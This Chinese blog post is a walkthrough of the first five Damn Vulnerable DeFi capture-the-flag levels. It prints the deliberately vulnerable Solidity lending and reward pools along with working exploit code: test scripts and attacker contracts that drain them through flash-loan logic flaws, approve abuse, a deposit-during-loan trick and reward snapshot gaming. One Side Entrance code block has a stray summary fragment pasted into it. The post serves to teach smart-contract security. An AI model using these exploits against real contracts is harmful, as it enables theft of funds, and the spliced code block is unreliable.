[区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中

前言

上一篇博客[区块链安全-Ethernaut]区块链智能合约安全实战-已完结
在写完以后,收获到了不少反馈,非常开心能和大家展开交流。

这次,我想和大家分享 Damn-vulnerable-Defi,这一系列能帮助大家对区块链DeFi(分布式金融)智能合约安全展开了解。我也计划在本计划结束之后,分享UniswapCompound等智能合约从0到1的构建。 话不多说,我们开始吧!

环境准备

打开终端,输入以下代码:

git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git

cd damn-vulnerable-defi/

git checkout v2.2.0

npm install -g yarn

yarn install

此时,环境已经搭建完成。在test目录下可以看到如下关卡。

安装完成
在官网上,我们也可以看到所有的关卡,我们也将一步一步来。

所有关卡

1. unstoppable

任务分析

任务如下:

There's a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans ...

You start with 100 DVT tokens in balance.

大意是目标合约是一个闪电贷合约,我们需要攻击它以使得它停止工作。

其中,闪电贷合约为UnstoppableLender.sol,其代码为:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

纵观合约,合约中使用了damnValuableToken,并暴露了两个函数depositTokensflashLoan。前者是用来将自己的DVT转移到闪电贷合约中,后者则是闪电贷函数。

其中,在闪电贷函数中,存在一系列限制,我们一起研究一下:

  • require(borrowAmount > 0, "Must borrow at least one token"); 此项是为了确保闪电贷的确借贷了,防止浪费后续的步骤和时间。

  • require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); 此项是为了保证的确是有足够的通证以进行闪电贷。

  • assert(poolBalance == balanceBefore); 这里是有一个问题,就是要确保合约种的通证数量和之前的通证数量一致。而poolBalance会相应发生变化。

  • require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); 这是为了保证闪电贷是有利可图的,借贷者应当在同一个区块内归还支付一定的利息。

可以看出,闪电贷的思路就是在同一个区块内完成借贷和归还,所以这也限定了闪电贷的借贷对象也应该是合约。

再来看一看ReceiverUnstoppable合约,也就是闪电贷的借贷者:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

该合约定义了receiveTokens函数以变将通证归还给闪电贷合约,而executeFlashLoan只允许owner自身发起调用以展开闪电贷交易。

那么问题在哪呢?就是poolBalance其实没有作比较严格的校正。虽然ReceiverUnstoppable每次借和还的数量都是一样的,而且存到池子里也会更新poolBalance的值。但是,增加通证的途径就只有这一种吗?

发起攻击

编辑unstoppable.challenge.js文件,输入攻击合约的地方那个如下

    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
    });

我们在此处添加了如下代码:

await this.token.transfer(this.pool.address,1);

输入npm run unstoppable展开测试,结果出现Error: error:0308010C:digital envelope routines::unsupported。这是因为openssl的算法进行了更新。

输入export NODE_OPTIONS=--openssl-legacy-provider再次进行尝试,发现成功:

关卡成功

总结

这个比较简单,但是了解了闪电贷的原理,似乎有些感受了。


2. Naive receiver

任务分析

本关卡介绍如下:

There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)

意思就是说,现在有一个很昂贵的闪电贷合约,其余额为1000ETH,而用户的合约与其交互,余额为10ETH。现在就是想看该怎样“掏空”用户合约中的ETH。

话不多说,来看看合约。

首先是合约NaiveReceiverLenderPool,这里和上一关不同之处在于,其定义了FIXED_FEE为1Eth,即只要进行了借贷,最少会收取1Eth的手续费用。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {}
}

其实看到这里我就没有在往下看了,这里面有一个明显的错误,那就是 flashLoan函数并不是把msg.sender当作借贷者,而是定义了borrower变量,所以就出现了一种情况,那就是“我可以帮你借钱,但是你得还”。那多借几次,如果你每次没有获得收益,那么很快你就破产了。

那我们再看看FlashLoanReceiver确认一下。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;

    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
        require(msg.sender == pool, "Sender must be pool");

        uint256 amountToBeRepaid = msg.value + fee;

        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        _executeActionDuringFlashLoan();
        
        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

receiveEther被调用后,的确乖乖归还了借贷并附了利息,然而却没有收益入账(测试环境中)。所以我们就可以发起攻击了。

发起攻击

编辑naive-receiver.challenge.js文件,输入代码:

        for (i=0;i<10;i++){
                this.pool.flashLoan(this.receiver.address,ethers.utils.parseEther('1'));
        }

其实就是遍历10次,直到掏空为止。

测试结果:

关卡成功

总结

其实也可以走智能合约,循环发起调用,但没必要了,部署合约的代价比调用大多了(除非这种调用实在太多~)。


3. truster

任务分析

本关卡介绍如下:

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don't worry, you might be able to take them all from the pool. In a single transaction.

本关卡介绍了免费提供闪电贷的合约,此时合约中有1百万个通证,而作为攻击者,我们什么都没有,我们需要想办法找到破解方法。

那我们来看一看合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;

    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

我们对其展开分析,其核心为flashLoan函数,而整个过程中会通过require(balanceBefore >= borrowAmount, "Not enough tokens in pool")确保有足够余额供以借出,转移通证,并通过target.functionCall(data);调用指定地址的某个函数,最后通过require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");验证闪电贷交易的安全。

很明显,我们在单次操作中无法直接获取,只能想办法获取其权限,所以所有的入口都在target.functionCall(data);上,既然不能直接转走,那我们可以获取转移的权限,在ERC20中就是调用approve方法。

发起攻击

编辑truster.challenge.js文件。

首先生成data:

            const data = web3.eth.abi.encodeFunctionCall(
                {
                        name: 'approve',
                        type: 'function',
                        inputs: [
                                        {
                                                type: 'address',
                                                name: 'addr'
                                        },
                                        {
                                                type: 'uint',
                                                name: 'amount'
                                        }
                                ]
                },[attacker,TOKENS_IN_POOL]
            );

随后发起攻击。

await this.pool.flashLoan(1,attacker,this.token.address,data);
await this.token.transferFrom(this.pool.address,attacker,TOKENS_IN_POOL);

结果报错:
发现 attacker应通过attacker.address获取address字符串。

修改为

const data = web3.eth.abi.encodeFunctionCall(
                {
                        name: 'approve',
                        type: 'function',
                        inputs: [
                                        {
                                                type: 'address',
                                                name: 'addr'
                                        },
                                        {
                                                type: 'uint256',
                                                name: 'amount'
                                        }
                                ]
                },[attacker.address,TOKENS_IN_POOL]
            );
            await this.pool.flashLoan(1,attacker.address,this.token.address,data);
            await this.token.transferFrom(this.pool.address,attacker.address,TOKENS_IN_POOL);

结果报错,因为我们借了1个通证,结果却没有归还:)。这也是攻击时考虑不周。

将1改为0,重新攻击,出现错误:reverted with reason string 'ERC20: transfer amount exceeds allowance,意思是我们转账的部分超过了配额大小,想了一下,是因为我们需要切换用户,使用attacker账户来攻击。

修改代码为:

            const data = web3.eth.abi.encodeFunctionCall(
                {
                        name: 'approve',
                        type: 'function',
                        inputs: [
                                        {
                                                type: 'address',
                                                name: 'addr'
                                        },
                                        {
                                                type: 'uint256',
                                                name: 'amount'
                                        }
                                ]
                },[attacker.address,ethers.utils.parseEther('10000000')]
            );
            await this.pool.connect(attacker).flashLoan(0,attacker.address,this.token.address,data);
            console.log(data);
            console.log(await this.token.allowance(this.pool.address,attacker.address));
            await this.token.connect(attacker).transferFrom(this.pool.address,attacker.address,TOKENS_IN_POOL);

每次调用之前,先通过.connect(attacker)来指定交互的外部账户对象。

输入npm run truster发起攻击,本关卡成功:

本关卡成功!

总结

Truffle框架我还有许多需要提升的地方。


4. Side Entrance

任务分析

本关卡介绍如下:

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

本关卡介绍了免费提供闪电贷的存取合约,我们的目的是取走里面的1000个ETH。
看看合约SideEntranceLenderPool.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;## 总结
Truffle框架我还有许多需要提升的地方。

<hr>
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}
 

这个合约分为depositwithdrawflashLoan。前两个为简单的存、取函数,而后一个则是闪电贷函数。分开来看没什么问题,但合起来,似乎就有那么一点不对劲了,如果我们先借钱,再存回去,那么require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back"); 的条件是不是就可以绕过了?

发起攻击

先写合约 SideEntranceattacker.sol

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface SideEntranceLenderPoolInterface{
        function deposit() external payable;
        function withdraw() external;
        function flashLoan(uint256 amount) external;
}

contract sideEntranceAttacker {

        using Address for address payable;

        SideEntranceLenderPoolInterface public lp;

        constructor(address addr){
                lp = SideEntranceLenderPoolInterface(addr);
        }

        function attack() external {
                lp.flashLoan(address(lp).balance);
        }

        function execute() external payable {
                lp.deposit{value:msg.value}();
        }

        function attack2() external {
                lp.withdraw();
                msg.sender.sendValue(address(this).balance);
        }
}

攻击分两次,第一次先实现存入记录,第二次凭借存入记录进行取款。
SideEntranceattacker.sol放在contracts目录下,在js文件里写入:

            const attackFactory = await ethers.getContractFactory('sideEntranceAttacker',attacker);
            const attack = await attackFactory.deploy(this.pool.address);

            await attack.connect(attacker).attack();
            await attack.connect(attacker).attack2();

结果第一次失败,显示reverted with reason string 'Address: unable to send value, recipient may have reverted',原来是因为我们合约没有写fallback默认收款,补充上 fallback() external payable { }以后重新运行:

关卡成功!

总结

也学习到了合约测试的相关知识!


5. The rewarder

任务分析

本关卡介绍如下:

There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?

有一个合约每隔一段时间都会对质押DVT的用户给出奖励,而我们没有DVT,却也希望能获取奖励。

那么思路是什么呢?按照说法我们可以通过闪电贷借出DVT,进行存取,获取奖励后退出,并归还DVT。沿着这个思路,我们来看看目前的合约AccountingToken.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title AccountingToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
 *         with snapshotting capabilities
 */
contract AccountingToken is ERC20Snapshot, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }

    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

这个合约是带有快照、权限控制功能的ERC20通证,我们想看看这个快照功能是如何实现的?

进入上一级代码ERC20Snapshot,可以看到,是采用如下数据结构:

    struct Snapshots {
        uint256[] ids;
        uint256[] values;
    }

合约通过该结构实现快照功能。我找到很久以前的一个版本(不然有些难懂)。由合约可知,当创建快照时,我们并不会马上存值,而是按需存取,而且也不是存在这里,而是存在mapping (address => Snapshots) private _accountBalanceSnapshots中,也就是说一个Snapshots其实存的是一个地址(或者一个值)的状态!!

我们继续,看合约RewardToken.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title RewardToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A mintable ERC20 with 2 decimals to issue rewards
 */
contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

这个没什么好说的,常规的ERC20。
我们继续,看合约TheRewarderPool.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 */
contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token deposited into the pool by users
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public accToken;
    
    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    // Track number of rounds
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice sender must have approved `amountToDeposit` liquidity tokens in advance
     */
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

    function withdraw(uint256 amountToWithdraw) external {
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;

        if(isNewRewardsRound()) {
            _recordSnapshot();
        }        
        
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

其核心在与:每当用户存进取一个流动通证,都会为其分配一个治理通证,两种通证1比1锚定,从deposit中的distributeRewards();可以看出,只要调用deposit函数就会引发奖励函数。
我们继续,看合约FlashLoanerPool.sol(也就是闪电贷合约),也是没啥说的,就是对外提供服务:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 * @dev A simple pool to get flash loans of DVT
 */
contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

那我们就可以开始攻击了!

发起攻击

先写合约 rewardAttacker.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./TheRewarderPool.sol";
import "./FlashLoanerPool.sol";
import "./RewardToken.sol";

contract TheRewarderAttacker {

        DamnValuableToken public immutable liquidityToken;

        FlashLoanerPool public immutable flashLoanPool;

        TheRewarderPool public immutable rewardPool;

        RewardToken public immutable rewardToken;

        constructor(address dvt, address flp, address rp, address rt) {
                liquidityToken = DamnValuableToken(dvt);
                flashLoanPool  = FlashLoanerPool(flp);
                rewardPool     = TheRewarderPool(rp);
                rewardToken    = RewardToken(rt);
        }

        function attack() public {
                uint256 amount = liquidityToken.balanceOf(address(flashLoanPool));
                flashLoanPool.flashLoan(amount);
                rewardToken.transfer(msg.sender,rewardToken.balanceOf(address(this)));
        }

        function receiveFlashLoan(uint256 amount) public {
                liquidityToken.approve(address(rewardPool),amount);
                rewardPool.deposit(amount);
                rewardPool.withdraw(amount);
                liquidityToken.transfer(address(flashLoanPool), amount);
        }

        fallback() external payable {

        }

}

即在attack中利用闪电贷合约余额实行存、取操作并归还,再将奖励的通证发给attacker

the-rewarder.challenge.js修改,添加以下步骤(不要忘记让时间过5天):

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
const TheRewarderAttackerFactory = await ethers.getContractFactory('TheRewarderAttacker', attacker);
this.attackContract = await TheRewarderAttackerFactory.deploy(this.liquidityToken.address,this.flashLoanPool.address,this.rewarderPool.address,this.rewardToken.address);
 await this.attackContract.connect(attacker).attack();

展开测试,本关卡通过!

关卡成功

总结

逻辑很绕,但理清了就没问题!


猜你喜欢

转载自blog.csdn.net/weixin_43982484/article/details/126980038